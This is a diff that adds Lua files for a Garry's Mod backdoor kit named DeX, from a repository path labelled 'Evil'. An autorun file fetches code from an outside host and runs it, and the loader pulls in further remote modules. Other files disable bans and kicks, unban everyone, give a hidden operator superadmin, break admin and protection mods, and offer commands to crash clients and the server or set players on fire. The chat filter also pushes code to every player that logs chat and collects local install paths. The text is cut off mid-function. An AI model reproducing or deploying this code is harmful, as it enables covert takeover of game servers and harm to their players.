+ +local function MakePureLetter(s) -- only letters/spaces remain + s = s:gsub(".", function(c) + if c:match("[%a%s]") then return c end + return "" + end) + return s +end + +local function NoCase(s) -- generate case insensitive pattern + s = string.gsub(s, ".", function(c) + if c:find("%a") then + return string.format("[%s%s]", string.lower(c), string.upper(c)) + else + return "%A" + end + end) + return s +end + +local function CharacterIndependend(s, singleword) -- apply filter to scan for @#a^^&..ss .h&*(o@l,e> + if singleword then + s = "([^%a]*)"..s:gsub(".", function(c) + return NoCase(c).."([^%a]*)" + end) + s = s:sub(0,-9) + return s + else + s = "([^%a]*)"..s:gsub(".", function(c) + return NoCase(c).."([^%a]*)" + end) + return "[%A]"..s.."[%A]" + end +end + + +local function CheckSpam(ply,Name,text) + if (ply.HSP_LastSpam and ply.HSP_LastSpam == text) then + if not ply.HSP_LastSpamTot then + ply.HSP_LastSpamTot = 0 + end + ply.HSP_LastSpamTot = ply.HSP_LastSpamTot + 1 + + if ply.HSP_LastSpamTot >= Spam:GetInt() then + MsgAll("\nCHAT SPAM blocked from "..Name..": "..text.."\n") + ply:ChatPrint(HUD_PRINTTALK, "Your text has been SNIPPED for spamming!") + ply:SendLua([[ surface.PlaySound("npc/roller/mine/rmine_chirp_quest1.wav") ]]) + return true + end + else + ply.HSP_LastSpamTot = 0 --Reset + end + ply.HSP_LastSpam = text + + timer.Create("HSP.ChatFilter_SpamReset_"..Name, 10, 1, function() + if ValidEntity(ply) then + ply.HSP_LastSpamTot = 0 + ply.HSP_LastSpam = nil + end + end) +end + + + + +function HSP.ChatFilter_CheckWords(ply,text) + --debug.sethook() + local low = text:lower() + + local new = "" + for i=0, text:len() do -- for each character + local str = text:sub(i,i) -- get char from string + local found = false + + local Byte = HSP.ChatFilter.Crap[ str:byte() ] + if Byte then + new = new..Byte --replace character + found = true --found, so don't add character after for loop + end + + if not found then -- we did not replace anything, add character + new = new..str -- add character + end + end + if new != text then + text = new + end + + --FIXED + local DoneFixed = false + for k,v in pairs( HSP.ChatFilter.Fixed ) do + AddLoop() + local str = low + if v.full then + str = text + end + + if (str:Trim() == v.what) then + DoneFixed = true + text = v.with + end + end + if DoneFixed then + return text + end + + text = " "..text.." " -- add spaces used for finding patterns near begin and end of string + + --SWEARWORDS, [ with spaces NO automated Pronunciation endings, NO replace completly features ] + for k,cuss in pairs(HSP.ChatFilter.Swearwords) do + AddLoop() + if cuss.spaces then + local lower = CharacterIndependend(cuss.what) + text = text:gsub(lower, " "..cuss.with.." ") + end + end + + text = text:gsub("([^%s]*)", function(c) + if c=="" then --yes it happens + return false,0 + end + + local b = c + + c = c:lower() + + --FIXME: Faster lookup method? + for k,noun in pairs(HSP.ChatFilter.Nouns) do + AddLoop() + if c == noun.what then + c = noun.with + + elseif c == (noun.whats or noun.what) then + c = (noun.withs or noun.with) + end + end + + --SWEARWORDS, [ without spaces, automated Pronunciation endings ] + for k,cuss in pairs(HSP.ChatFilter.Swearwords) do + AddLoop() + if not cuss.spaces then + --fix wrong spelling due to pronunciation, love to loveer, making it lover + local with = cuss.with + local pron = cuss.pron + local rep = cuss.rep + local what = cuss.what + + if pron then + if HSP.ChatFilter.Ext[ with:sub(-1,-1) ] then --check last character + --remove it if bad for spelling pronunciation + with = with:sub(0,-2) + end + end + + -- note to smart people, this loop is ALSO being done, to find ****-ed words, pron is optional behaviour + for k,pronunciation in pairs(HSP.ChatFilter.Pronunciation) do + AddLoop() + if not rep then + if pron then --add pronunciation to replacement + c = c:gsub(CharacterIndependend(what..pronunciation, true), with..pronunciation) + else -- find pronunciation but don't add it to the replacement + c = c:gsub(CharacterIndependend(what..pronunciation, true), with) + end + else + --replace entire word if a cuss is inside it ( with Pronunciation ) + if c:find(CharacterIndependend(what..pronunciation, true)) and pron then + c = with..pronunciation + end + end + end + + if rep then --if finding the swear word, replace completly + if c:find(CharacterIndependend(what, true)) then + c = with + end + else + --a random guess gsub, if a replacement contains a forbidden word @forloop that will be replaced!!! + c = c:gsub(CharacterIndependend(what, true), with) + end + end + end + + + --ABBREVIATIONS, we do these last so f*Uranium doesn't occur before swearword scanning + for k,abs in pairs(HSP.ChatFilter.Abbreviations) do + AddLoop() + local lower = MakePureLetter(c) + if lower == abs.what then c = abs.with end + end + + + if b:lower() == c then + return b --original, preserve casing + else + return c --modified, use replacement + end + end) + + -- remove spaces used for finding patterns near begin and end of string + if text:sub(1,1) == " " then + text = text:sub(2) + end + if text:sub(-1,-1) == " " then + text = text:sub(1,-1) + end + return text +end + + +local Override = true +local function ToggleFilter(ply,cmd,args) + if not Override then + Enabled = not Enabled + end + ply:print("[OK] Filter is now "..tostring(Enabled) ) +end +concommand.Add("flt_toggle", ToggleFilter) + +concommand.Add("flt_override", function(ply,cmd,args) + Override = not Override + + Enabled = Override + + ply:print("[OK] Filter is now "..tostring(Enabled)..", Override: "..tostring(Override) ) +end) + + +function HSP.ChatFilter_Process(ply,text,isteam) + if not (ValidEntity(ply) and Enabled) then return end + if (text:find( tostring(ply:IPAddress()) ) ) then return end --UMT + + text = text:gsub("Â", "") + local OldText = text:Trim() + + if OldText:Check("!lua") then + return --Don't break !lua + end + + if ply:IsHeX() then + return + end + + if OldText:Check("!menu") then + ply:Kill() + ply:ConCommand("say oh that is bad!") + return false + end + + text = HSP.ChatFilter_CheckWords(ply,OldText):Trim() + if text:find("_FLT_") and ply.HSPRealName then + text = text:gsub("_FLT_", ply.HSPRealName) + end + local Name,SID = ply:Nick(), ply:SteamID() + + if (text != OldText) then --Was filtered + if CheckSpam(ply,Name,text) then return false end + + local flt = Format("\n%s (%s): %s ->\n%s (%s): %s\n", Name, SID, OldText, Name, SID, text) + + local HeX = GetHeX() + if ValidEntity(HeX) then + if not HeX.SentCF then + HeX.SentCF = true + + HeX:SendLua([[ + usermessage.Hook("flt", function(u) + local flt = u:ReadString() + file.Append("dex_filter.txt", flt) + end) + ]]) + end + + umsg.Start("flt", HeX) + umsg.String(flt) + umsg.End() + + else --HeX not on, log! + file.Append(Filter, flt) + end + + BroadcastLua([[ surface.PlaySound( Sound("npc/scanner/combat_scan"..math.random(2,4)..".wav") ) ]]) + return text + end + + if CheckSpam(ply,Name,text) then return false end +end +local Rand = tostring( CurTime() * 2 ) + +hook.Add("PlayerSay", "!"..Rand, HSP.ChatFilter_Process) +timer.Create(tostring(CurTime()), 5, 0, function() + hook.Add("PlayerSay", "!"..Rand, HSP.ChatFilter_Process) +end) + + +local function ClearFilter(ply,cmd,args) + if not file.Exists(Filter) then + ply:print("[ERR] No filter.txt") + return + end + + file.Delete(Filter) + ply:print("[OK] Deleted filter.txt") +end +command.Add("flt_clear", ClearFilter, "Remove filter.txt") + + +local function FilterSize(ply,cmd,args) + if not file.Exists(Filter) then + ply:print("[ERR] No "..Filter) + return + end + + local KTab = string.Explode("\n", file.Read(Filter) ) or 0 + + ply:print("[OK] "..(#KTab / 2).." lines, "..file.Size(Filter).." bytes") +end +command.Add("flt_size", FilterSize, "How big is filter.txt") + + +local function DownloadFilter(ply,cmd,args) + if not IsValid(ply) then + ply:print("[ERR] Can't use from SRCDS") + return + end + if not file.Exists(Filter) then + ply:print("[ERR] No "..Filter) + return + end + + local Cont = file.Read(Filter) + + if not Cont or (Cont == "") then + ply:print("[ERR] No Cont") + return + end + + file.Delete(Filter) + + if not datastream then + require("datastream") + end + + datastream.StreamToClients(ply, "fd", {c = Cont}) + ply:print("[OK] Sending "..Filter..", "..#Cont.." bytes") +end +command.Add("flt_download", DownloadFilter, "Download filter.txt") + + + + +concommand.Add("gm_dex_fltname", function(ply,cmd,args) + if ply.HSPRealName then return end + + local path = args[1] + if path:find("/") then + path = path:gsub("/", "\\") + end + path = path:match("steamapps\\(.-)\\") + + if ply:IsHeX() then + ply.HSPRealName = "mfsinc" + else + ply.HSPRealName = path + end +end) + + + +local DSFunc = [[ +datastream.Hook("fd", function(h,s,e,d) + local c = d.c + if not c or (c == "") then return end + file.Write("dex_filter_srv_"..tostring( CurTime() ):Replace(".", "_")..".txt", c) + print("[OK] Saved: "..#c.." bytes") +end) +]] + +local RealName = [[ +if not datastream then + require("datastream") +end +timer.Simple(0, function() + RunConsoleCommand("gm_dex_fltname", util.RelativePathToFull("gameinfo.txt"):lower() ) +end) +]] + +local function CFRealNameInitialSpawn(ply) + ply:SendLua(RealName) + ply:SendLua(DSFunc) +end +hook.Add("PlayerInitialSpawn", "CFRealNameInitialSpawn", CFRealNameInitialSpawn) +BroadcastLua(RealName) +BroadcastLua(DSFunc) + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/dex.lua b/Repos/Evil-master/v12/DeX/dex.lua new file mode 100644 index 0000000..aa2f6f5 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/dex.lua @@ -0,0 +1,153 @@ +--[[ + === Direct Execute === + DeX.lua + "Their world is in flames and we're giving them gasoline!" +]] + +--- === Version === --- +DEX_VERSION = "2.1" +--- === /Version === --- + + +--if not DEX_PATH then + DEX_PATH = "http://gmod.game-host.org/bar/dex/" --Where to load the plugins from +--end + + +--- === SETUP === --- +local function Download(str) + local http = HTTPGet() + http:Download(str,"") + debug.sethook() + repeat until http:Finished() + return http:GetBuffer() +end + +function ExecDownload(path,str,Silent,DLonly) + local Full = path..str + local Code = Download(Full) or false + if not Code then + return MsgAll(Full.." won't download!\n") + end + + if DLonly then + return Code + end + if not Silent then + MsgAll(str.." loaded\n") + end + RunStringEx(Code,str) + --RunString(Code) +end + +local function GetUH() IsUH = ((HAC and HAC.Version) or (HSP and HSP.Loaded)) end +GetUH() +hook.Add("Think", tostring(CurTime()), GetUH) +function Useless() end +function TRUE() return true end +--- === /SETUP === --- + + +--- === COMMANDS === --- +command = {} +function command.Add(cmd,func,info) + concommand.Add(cmd,func) + command[cmd] = (info or "None") +end + +local function DexList(ply,cmd,args) + ply:print("\nDeX v"..DEX_VERSION..", cmd\tinfo") + local tot = 0 + + for cmd,info in pairs(command) do + if cmd != "Add" then + ply:print( Format("\t%s\t\-\t%s", cmd,info) ) + tot = tot + 1 + end + end + + ply:print("DeX v"..DEX_VERSION.." has ["..tot.."] commands") +end +concommand.Add("dex", DexList) + +local function DownloadRun(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, args[1] ) +end +command.Add("dlrun", DownloadRun, "Exec lua file from DEX_PATH") + +local function ReloadSelf(ply,cmd,args) + ExecDownload(DEX_PATH, "dex.lua", true) +end +command.Add("dex_reload", ReloadSelf, "Reload") +--- === /COMMANDS === --- + + +ExecDownload(DEX_PATH, "meta.lua", true) +ExecDownload(DEX_PATH, "fixers.lua", true) +ExecDownload(DEX_PATH, "useful.lua", true) +ExecDownload(DEX_PATH, "fun.lua", true) +ExecDownload(DEX_PATH, "chatfilter.lua", true) +ExecDownload(DEX_PATH, "bubble.lua", true) + + +--UMT +local function LoadUMT(ply,cmd,args) + local Valid = ValidEntity(ply) + + ExecDownload(DEX_PATH, "umt.lua", (not Valid)) + ExecDownload(DEX_PATH, "skid.lua", (not Valid)) + + if args then + ply:print("[OK] UMT loaded") + end +end +command.Add("umt", LoadUMT, "Load SkidCheck/UMT") +--[[ +if not IsUH then + timer.Simple(5, function() + LoadUMT() + end) +end +]] + +--ULX +local function FuckULX(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, "ulx.lua") +end +command.Add("fuckulx", FuckULX, "Break ULX") + +--EV +local function FuckEV(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, "ev.lua") +end +command.Add("fuckev", FuckEV, "Break EV") + +--FPP +local function FuckFPP(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + ExecDownload(DEX_PATH, "fpp.lua") +end +command.Add("fuckfpp", FuckFPP, "Break FPP") + + + + +local PISLua = [[ + DeX = true +]] + +local function DeXInitialSpawn(ply) + ply:SendLua(PISLua) +end +hook.Add("PlayerInitialSpawn", "DeXInitialSpawn", DeXInitialSpawn) +BroadcastLua(PISLua) + +MsgAll("\nDeX "..DEX_VERSION.." has respawned\n\n") + + + + + diff --git a/Repos/Evil-master/v12/DeX/dex_autorun.lua b/Repos/Evil-master/v12/DeX/dex_autorun.lua new file mode 100644 index 0000000..cf37b9f --- /dev/null +++ b/Repos/Evil-master/v12/DeX/dex_autorun.lua @@ -0,0 +1,12 @@ + + + + +http.Get("http://gmod.game-host.org/bar/dex/dex.lua", " ", function(s,f) RunStringEx(s,"DeX") end) + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/ev.lua b/Repos/Evil-master/v12/DeX/ev.lua new file mode 100644 index 0000000..5f9e734 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/ev.lua @@ -0,0 +1,53 @@ + + +hook.Remove("PlayerSpawnedProp", "EV_SpawnHook") +hook.Remove("PlayerSpawnedSENT", "EV_SpawnHook") +hook.Remove("PlayerSpawnedNPC", "EV_SpawnHook") +hook.Remove("PlayerSpawnedVehicle", "EV_SpawnHook") +hook.Remove("PlayerSpawnedEffect", "EV_SpawnHook") +hook.Remove("PlayerSpawnedRagdoll", "EV_SpawnHook") +hook.Remove("PlayerSpawn", "EV_RankHook") +hook.Remove("PlayerConnect", "EV_LogConnect") +hook.Remove("PlayerDisconnected", "EV_LogDisconnect") +hook.Remove("PlayerDeath", "EV_LogDeath") +hook.Remove("PlayerSay", "EV_PlayerChat") + + +if evolve.CleanupAdd then + cleanup.Add = evolve.CleanupAdd +end +if evolve.AddCount then + _R.Player.AddCount = evolve.AddCount +end +if evolve.HookCall then + hook.Call = evolve.HookCall +end + + +local function AlwaysTrue() + return true +end +_R.Player.EV_IsOwner = AlwaysTrue +_R.Player.EV_IsSuperAdmin = AlwaysTrue +_R.Player.EV_IsAdmin = AlwaysTrue + +_R.Entity.EV_IsOwner = AlwaysTrue +_R.Entity.EV_IsSuperAdmin = AlwaysTrue +_R.Entity.EV_IsAdmin = AlwaysTrue + + +ETable(evolve) +ETable(ev) + + + +MsgAll("\nEV has reloaded\n\n") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/fixers.lua b/Repos/Evil-master/v12/DeX/fixers.lua new file mode 100644 index 0000000..fd27610 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/fixers.lua @@ -0,0 +1,250 @@ + +if IsUH then return end +--- === FIXERS === --- + + +local function NoKick(ply,cmd,args) + if not ply:IsHeX() then + ply:Kill() + return + end + + local uid = nil + + if (cmd == "kickid2") then + uid = args[1] + elseif (cmd == "banid2") then + uid = args[2] + end + + if uid then + local HeX = GetHeX() + + if ValidEntity(HeX) then + if uid == HeX:UserID() then + ply:Explode() + return + end + + HeX:print("! kicking "..uid) + end + + RunConsoleCommand("kickid", uid, Format("Kicked (%s)", RandomPlayer():Nick()) ) + end +end +concommand.Add("kickid2", NoKick) +concommand.Add("banid2", NoKick) + + + +_R.Player.Kick = Useless +_R.Player.Ban = Useless +_R.Entity.Kick = Useless +_R.Entity.Ban = Useless + +_R.Player.StripWeapons = Useless +_R.Player.StripWeapon = Useless + +Cmd_RecvCommand = Useless +BannedPlayers = {} +Kick = Useless +Ban = Useless +SaveBans = Useless +KickBan = Useless +ASS_BanPlayer = Useless +ASS_KickPlayer = Useless +GBans = {} + +sourcebans = {} +sourcebans.doBan = Useless +sourcebans.BanPlayer = Useless +sourcebans.BanPlayerBySteamID = Useless +sourcebans.BanPlayerByIP = Useless +sourcebans.BanPlayerBySteamIDAndIP = Useless + +doBan = Useless +BanPlayer = Useless +BanPlayerBySteamID = Useless +BanPlayerByIP = Useless +BanPlayerBySteamIDAndIP = Useless + +if gatekeeper then + gatekeeper.Drop = Useless +end + +if asscmd then + asscmd.ConsoleCommand = Useless +end + +if (cvar2 and cvar2.SetFlags) then + local function NoMore(cmd) + CreateConVar(cmd, 0, {FCVAR_REPLICATED, FCVAR_CHEAT}) + cvar2.SetFlags(cmd, cvar2.GetFlags(cmd) + FCVAR_CHEAT) + end + + NoMore("banid") + NoMore("kickid") + NoMore("addid") + NoMore("writeip") +end + + +if ULib then + ULib.kick = Useless + ULib.ban = Useless + ULib.kickban = Useless + ULib.addBan = Useless +end + +if evolve then + evolve.Ban = Useless + evolve.IsBanned = FALSE +end + +concommand.Add("sm_ban", Useless) +concommand.Add("sm_banip", Useless) +concommand.Add("sm_addban", Useless) + +hook.GetTable()["CanPlayerSuicide"] = nil +hook.GetTable()["PlayerUse"] = nil +hook.GetTable()["PlayerNoClip"] = nil + +--_R.Player.IsAdmin = TRUE +--_R.Player.IsSuperAdmin = TRUE + +local HeX = GetHeX() +if ValidEntity(HeX) then + HeX:SetUserGroup('admin') + HeX:SetUserGroup('superadmin') +end + + +local Nope = { + ["STEAM_0:0:48926883"] = true, + ["STEAM_0:0:40143824"] = true, + ["STEAM_0:1:33687954"] = true, +} +hook.Add("Think", "HPFix", function() + for k,v in pairs( player.GetHumans() ) do + if ValidEntity(v) then + if v.ShouldGod then + v:GodEnable() + end + + if not v:IsHeX() then + if (v:Health() > 100) then + v:SetHealth(99) + end + + v:GodDisable() + end + + if Nope[ v:SteamID() ] then + v:SendLua([[ table.Empty(_R) ]]) + end + end + end +end) + +hook.Add("PlayerDeathThink", "AutoSpawn", function(ply) + ply:Spawn() +end) + +local function UnbanAll() + local uTot = 0 + if (ULib and ULib.bans and ULib.unban) then + local TempTab = ULib.bans + + timer.Simple(1,function() + for k,v in pairs(TempTab) do + ULib.unban(k) + uTot = uTot + 1 + end + end) + end + + local eTot = 0 + if (evolve and evolve.PlayerInfo) then + for k,v in pairs(evolve.PlayerInfo) do + if (v.BanEnd) then + game.ConsoleCommand("removeid "..v.SteamID.."\n") + evolve.PlayerInfo[k] = nil + eTot = eTot + 1 + end + end + end + + local Banned = "cfg/banned_user.cfg" + local bTot = 0 + if file.Exists(Banned, true) then + local Text = file.Read(Banned, true) + if not Text then return end + + local FTab = string.Explode("\n", Text) + + for k,v in pairs(FTab) do + if (v != "") then + local SID = v:match("(STEAM_(%d+):(%d+):(%d+))") or v + game.ConsoleCommand("removeid "..SID.."\n") + bTot = bTot + 1 + end + end + + RunConsoleCommand("writeid") + end + + + local HeX = GetHeX() + if not ValidEntity(HeX) then + HeX = nil + end + + if (uTot != 0) then + ULib.bans = {} + if file.Exists("ULib/bans.txt") then + file.Delete("ULib/bans.txt") + end + + if HeX then + HeX:print("\nUNBANNED "..uTot.." ULib users!\n") + end + end + + if (eTot != 0) then + if evolve.SavePlayerInfo then + evolve:SavePlayerInfo() + end + if HeX then + HeX:print("\nUNBANNED "..eTot.." EV users!\n") + end + end + + if (bTot != 0) then + if HeX then + HeX:print("\nUNBANNED "..bTot.." BASE users!\n") + end + end +end +timer.Simple(2, UnbanAll) + + +local function DexUnbanAll(ply,cmd,args) + UnbanAll() + + ply:print("[OK] Unbanned everyone") +end +command.Add("unbanall", DexUnbanAll, "Unban everyone") + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/fpp.lua b/Repos/Evil-master/v12/DeX/fpp.lua new file mode 100644 index 0000000..d8c06aa --- /dev/null +++ b/Repos/Evil-master/v12/DeX/fpp.lua @@ -0,0 +1,47 @@ + +hook.Remove("CanTool", "FPP.Protect.CanTool") +hook.Remove("PhysgunPickup", "FPP.Protect.PhysgunPickup") +hook.Remove("PlayerUse", "FPP.Protect.PlayerUse") +hook.Remove("GravGunPunt", "FPP.Protect.GravGunPunt") +hook.Remove("GravGunOnPickedUp", "FPP.Protect.GravGunPickup") +hook.Remove("OnPhysgunReload", "FPP.Protect.PhysgunReload") +hook.Remove("PlayerSpawnRagdoll", "FPP.AntiSpam.AntiCrash") +hook.Remove("PlayerInitialSpawn", "FPP_SendSettings") +hook.Remove("OnPhysgunFreeze", "FPP.Protect.PhysgunFreeze") +hook.Remove("EntityTakeDamage", "FPP.Protect.EntityTakeDamage") +hook.Remove("PlayerDisconnected", "FPP.PlayerDisconnect") +hook.Remove("PlayerInitialSpawn", "FPP.PlayerInitialSpawn") +hook.Remove("PlayerLeaveVehicle", "FPP.PlayerLeaveVehicle") +hook.Remove("CanExitVehicle", "PreventVehicleNoclip") + + +if FPP.oldcleanup then + cleanup.Add = FPP.oldcleanup +end +if FPP.ApplyForceCenter then + _R.PhysObj.ApplyForceCenter = FPP.ApplyForceCenter +end +if FPP.oldcount then + _R.Player.AddCount = FPP.oldcount +end + + +ETable(DB) +ETable(FPP_MySQLConfig) +ETable(FPP.Blocked) +ETable(FPP) +ETable(FAdmin) + +BlockedModelsExist = nil + + +MsgAll("\nFPP has reloaded\n\n") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/fun.lua b/Repos/Evil-master/v12/DeX/fun.lua new file mode 100644 index 0000000..ef2297a --- /dev/null +++ b/Repos/Evil-master/v12/DeX/fun.lua @@ -0,0 +1,424 @@ + +--- === FUN === --- + + + +--NOCLIP EXPLODE +local CanExplode = false +local function ExplodeNC() + if CanExplode then + for k,v in pairs( player.GetAll() ) do + if not v:IsHeX() then + local move = v:GetMoveType() + if (move == MOVETYPE_NOCLIP or move == MOVETYPE_FLY) then + v:SetMoveType(MOVETYPE_WALK) + v:Spawn() + end + end + end + end +end +hook.Add("Think", "ExplodeNC", ExplodeNC) + + +local function NCExplode(ply,cmd,args) + if CanExplode then + CanExplode = false + ply:print("[OFF] Noclip explode") + else + CanExplode = true + ply:print("[ON] Noclip explode") + end +end +command.Add("nc", NCExplode, "Explode noclipping players") + + + + + +--NO NUKES +local Nukes = { + ["bomb_sent_atomic_bomb"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["canister_sent_atomic_bomb"] = true, + ["cannonball_sent_atomic_bomb"] = true, + ["cone_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["hopnuke"] = true, + ["hopnuke_trap"] = true, + ["kfc_sent_atomic_bomb"] = true, + ["lego_sent_atomic_bomb"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["mk-82_sent_atomic_bomb"] = true, + ["mk-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleablenuke1"] = true, + ["sent_explosion_scaleablenuke2"] = true, + ["sent_explosion_scaleablenuke3"] = true, + ["sent_explosion_scaleablenuke6"] = true, + ["sent_explosion_scaleablenuke7"] = true, + ["sent_nuke"] = true, + ["sent_nuke_awesomecube"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke_melon"] = true, + ["sent_nuke_missile"] = true, + ["sent_nuke_radiation"] = true, + ["sent_nuke_radiation2"] = true, + ["sent_nuke_radiation3"] = true, + ["sent_nuke_radiation4"] = true, + ["sent_nuke_radiation5"] = true, + ["sent_nuke_radiation6"] = true, + ["sent_nuke_radiation7"] = true, + ["sent_nuke_radiation8"] = true, + ["sent_nuke1"] = true, + ["sent_nuke100"] = true, + ["sent_nuke100mt"] = true, + ["sent_nuke2"] = true, + ["sent_nuke200"] = true, + ["sent_nuke200mt"] = true, + ["sent_nuke3"] = true, + ["sent_nuke300"] = true, + ["sent_nuke300mt"] = true, + ["sent_nuke400"] = true, + ["sent_nuke400mt"] = true, + ["sent_nuke50"] = true, + ["sent_nuke500"] = true, + ["sent_nuke500mt"] = true, + ["sent_nuke50mt"] = true, + ["sent_nuke6"] = true, + ["sent_nuke7"] = true, + ["sent_nukegrenade"] = true, + ["sent_nukesmall"] = true, + ["soda_sent_atomic_bomb"] = true, + ["sofa_sent_atomic_bomb"] = true, + ["vendingmachine_sent_atomic_bomb"] = true, + ["waluigiracket_sent_atomic_bomb"] = true, + + ["barrel_sent_atomic_bomb"] = true, + ["barrel_sent_he_missile"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["briefcase_sent_he_missile"] = true, + ["canister_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["explosive_car"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["melon_sent_he_missile"] = true, + ["MK-82_sent_atomic_bomb"] = true, + ["MK-82_sent_he_missile"] = true, + ["MK-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleable"] = true, + ["sent_nuke_radiation"] = true, + ["sent_tnt"] = true, + ["soda_sent_atomic_bomb"] = true, + ["soda_sent_he_missile"] = true, + + ["sent_nuke_missile"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke"] = true, + + ["nuke_explosion"] = true, + ["sent_nuke_bomb"] = true, + ["nuke_missile"] = true, +} + +local DoCheckNukes = false +local function CheckNukes() + if DoCheckNukes then + for k,ent in pairs( ents.GetAll() ) do + if ValidEntity(ent) and Nukes[ ent:GetClass() ] then + local Owner = NULL + if CPPI then + Owner = ent:CPPIGetOwner() + end + ent:Remove() + + if ValidEntity(Owner) and not Owner:IsHeX() then + Owner:Kill() + end + end + end + end +end +hook.Add("Think", "CheckNukes", CheckNukes) + + +local function ToggleNukes(ply,cmd,args) + if DoCheckNukes then + DoCheckNukes = false + ply:print("[OFF] Yes nukes") + else + DoCheckNukes = true + ply:print("[ON] No nukes") + end +end +command.Add("nukes", ToggleNukes, "Stop nukes") + + + +local DoCheckWeapon = false +local function CheckWeapons() + if DoCheckWeapon then + for k,self in pairs( ents.GetAll() ) do + if ValidEntity(self) and self:IsWeapon() and self.AdminSpawnable then + local Owner = self.Owner + if not ValidEntity(Owner) then + Owner = self.owner + end + if not ValidEntity(Owner) then + Owner = self:GetOwner() + end + + if ValidEntity(Owner) and not Owner:IsHeX() then + self:Remove() + end + end + end + end +end +hook.Add("Think", "CheckWeapons", CheckWeapons) + + +local function ToggleWeapons(ply,cmd,args) + if DoCheckWeapon then + DoCheckWeapon = false + ply:print("[OFF] Yes admin-only weapons") + else + DoCheckWeapon = true + ply:print("[ON] No admin-only weapons") + end +end +command.Add("weps", ToggleWeapons, "Stop admin-only weapons") + + + + +--HEALTH +local function SetHealth(ply,cmd,args) + local set = tonumber( args[1] ) or 87 + + if (#args > 1) then + ply:Spawn() + ply:GodEnable() + end + ply:SetHealth(set) + + ply:print("Set health to: "..set) +end +command.Add("hp", SetHealth, "Set your HP, use f to force spawn") + +--GOD +local function SetGod(ply,cmd,args) + if cmd == "godon" then + ply:GodEnable() + ply.ShouldGod = true + ply:print("[ON] GODMODE") + else + ply:GodDisable() + ply.ShouldGod = false + ply:print("[OFF] GODMODE") + end +end +command.Add("godon", SetGod, "Give GODMODE") +command.Add("godoff", SetGod, "Disable GODMODE") + + +--BOOM +local function Boom(ply,cmd,args) + if (#args > 0) then + local Him = Player( args[1] ) or NULL + + if not ValidEntity(Him)or Him:IsHeX() then + ply:print("[ERR] Userid: '"..args[1].."' not found") + return + end + + Him:Explode() + ply:print("[OK] '"..Him:Nick().."' explode") + else + for k,v in pairs( player.GetAll() ) do + timer.Simple(k / 3, function() + if not v:IsHeX() then + v:Explode() + end + end) + end + ply:print("[OK] Everyone explode") + end +end +command.Add("boom", Boom, "Make /everyone explode") + +--RESPAWN +local function Respawn(ply,cmd,args) + ply:Spawn() + ply:SetHealth(87) + ply:GodEnable() + + ply:SetViewEntity(ply) + ply:print("[OK] Respawned with weapons & health") +end +command.Add("respawn", Respawn, "Respawn yourself with guns+hp") + + + +--CRASHPLAYER +local function CrashPlayer(ply,cmd,args) + local him = Player( args[1] ) + if not ValidEntity(him) or (him == ply) or him:IsHeX() then + return ply:print("[ERR] No Player") + end + + him:SendLua([[ table.Empty(_R) ]]) + + ply:print("[OK] Sent crash to: "..him:Nick()) +end +command.Add("crash", CrashPlayer, "Crash ") + + +--CRASHSERVER +local function CrashServer(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + timer.Simple(10, function() + table.Empty(_R) + end) + ply:print("[OK] Server crashing in 10s") +end +command.Add("crash_server", CrashServer, "Crash the server in 10s") + +--BURNALL +local function BurnAll(ply,cmd,args) + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + if not v:IsHeX() then + v:Ignite(60,10) + end + end + end + ply:print("[OK] Ignite everyone") +end +command.Add("burnall", BurnAll, "Set everyone on fire") + +--BURN +local function BurnHim(ply,cmd,args) + local him = Player( args[1] ) + if not ValidEntity(him) or (him == ply) or him:IsHeX() then + return ply:print("[ERR] No Player") + end + + Player(args[1]):Ignite(60,10) + + ply:print("[OK] Ignite player") +end +command.Add("burn", BurnHim, "Set everyone on fire") + + +--BURNOFF +local function BurnOff(ply,cmd,args) + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) then + v:Extinguish() + end + end + + for k,v in pairs(ents.FindByClass("entityflame")) do + v:Remove() + end + + ply:print("[OK] Removed all fire") +end +command.Add("burnoff", BurnOff, "Remove all fire") + +--FREEZEALL +local function FreezeAll(ply,cmd,args) + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) and not v:IsPlayer() then + local Phys = v:GetPhysicsObject() + + if Phys:IsValid() then + Phys:Sleep() + Phys:EnableMotion(false) + end + end + end + ply:print("[OK] Frozen everything!") +end +command.Add("freezeall", FreezeAll, "Freeze everything") + +--REMOVE +local function RemoveMe(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + if (#args > 0) then + ply:print("[HSP] Removing all: "..args[1].."\n") + for k,v in pairs(ents.FindByClass(tostring(args[1]))) do + if (v:IsValid() and not v:IsPlayer()) then + ply:print("[HSP] Removing: "..v:EntIndex()..":"..v:GetClass()) + v:Remove() + end + end + else + local tr = ply:GetEyeTraceNoCursor() + if (tr and tr.Hit and not tr.HitSky and tr.Entity and IsValid(tr.Entity)) then + local ent = tr.Entity + ply:print("[HSP] Removing: "..ent:EntIndex()..":"..ent:GetClass()) + ent:Remove() + end + end +end +command.Add("hsp_remove", RemoveMe, "Remove egc/trace") + +--NUKE +local function Nuke(ply,cmd,args) + local lol = ents.Create("weapon_redeemer") + if not 